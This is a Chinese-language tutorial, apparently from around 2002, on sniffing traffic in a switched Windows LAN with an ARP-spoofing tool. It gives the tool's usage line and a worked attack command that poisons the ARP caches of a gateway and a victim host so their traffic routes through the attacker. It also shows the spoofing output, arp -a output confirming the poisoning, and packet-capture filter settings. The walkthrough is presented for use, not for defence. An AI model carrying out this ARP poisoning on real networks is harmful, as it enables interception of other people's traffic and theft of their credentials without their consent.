根据交换环境中Sniffer实现的原理(详见交换环境下Sniffer的实现),我写了一个类似于Linux环境下的ArpSpoof实现在Windows环境下的Arp Sniffer。
在交换环境下Windows中实现Sniffer需要具备的条件:
1、安装Winpcap驱动。
2、我写了一个类似于Linux环境下的ArpSpoof(我只在Windows 2000 Server下测试过,其他期待您的测试)。
3、一个Sniffer,如NetXray或者NAI Sniffer Pro(推荐)。
具体的实现方法:
使用ArpSpoof实现基于ARP的欺骗:
C:\>arpspoof.exe
ARPSpoof, by netXeyes, Special Thanks BB
[url]www.netXeyes.com[/url] 2002, [email]dansnow@21cn.com[/email]
Usage: ArpSpoof [Spoof IP1] [Spoof IP2] [Own IP]
 
其中Spoof IP1和Spoof IP2是想要进行欺骗和嗅探的IP地址,Own IP是自己的IP地址(注意这三个IP必须是在同一个局域网内没有跨越交换机或者路由器)。
例如目前公司的局域网环境为192.168.0.xxx,子网掩码为255.255.255.0,网关为192.168.0.1。我们的IP为192.168.0.29,想要Sniffer 192.168.0.2的数据包。
由于网关为192.168.0.1,所以我们就只要欺骗192.168.0.1和192.168.0.2就可以了。也就是说告诉192.168.0.1,192.168.0.2的MAC地址是自己(192.168.0.29);然后再告诉192.168.0.2, 192.168.0.1的MAC地址是自己(192.168.0.29)。这样以来所有的数据包都会发到192.168.0.29,并且由192.168.0.29实现转发(windows 2000默认可以进行包转发,至于Windows 9.x和Windows NT/XP我没有测试过,希望您可以告诉我)。
C:\>arpspoof.exe 192.168.0.1 192.168.0.2 192.168.0.29
ARPSpoof, by netXeyes, Special Thanks BB
[url]www.netXeyes.com[/url] 2002, [email]dansnow@21cn.com[/email]
Begin Spoof.........
Spoof 192.168.0.1: Mac of 192.168.0.2 ===> Mac of 192.168.0.29
Spoof 192.168.0.2: Mac of 192.168.0.1 ===> Mac of 192.168.0.29
Spoof 192.168.0.1: Mac of 192.168.0.2 ===> Mac of 192.168.0.29
Spoof 192.168.0.2: Mac of 192.168.0.1 ===> Mac of 192.168.0.29
Spoof 192.168.0.1: Mac of 192.168.0.2 ===> Mac of 192.168.0.29
Spoof 192.168.0.2: Mac of 192.168.0.1 ===> Mac of 192.168.0.29
.....................................................
是时候对192.168.0.1和192.168.0.2的ARP欺骗就开始了,在192.168.0.1上面使用arp -a命令可以看到192.168.0.2和192.168.0.29的MAC地址是一样的。
C:\>arp -a
Interface: 192.168.0.1 on Interface 0x1000004
Internet Address Physical Address Type
192.168.0.2 00-00-86-61-6b-4e dynamic
192.168.0.29 00-00-86-61-6b-4e dynamic
同样在192.168.0.2上面也会发现192.168.0.1和192.168.0.29的MAC地址是一样的。
这样我们就在192.168.0.1和192.168.0.2之间实现了ARP欺骗。
启动Sniffer Pro,在Define Filter里面的Address Type中选择Hardware(注意不要选为通常的类型IP,否则抓不到什么有意义的东西),Station1和Station2选择设置为Any即可。
这时候就开始Sniffer了。
以上结果在我局域网环境中测试通过,不保证适用于所有的环境。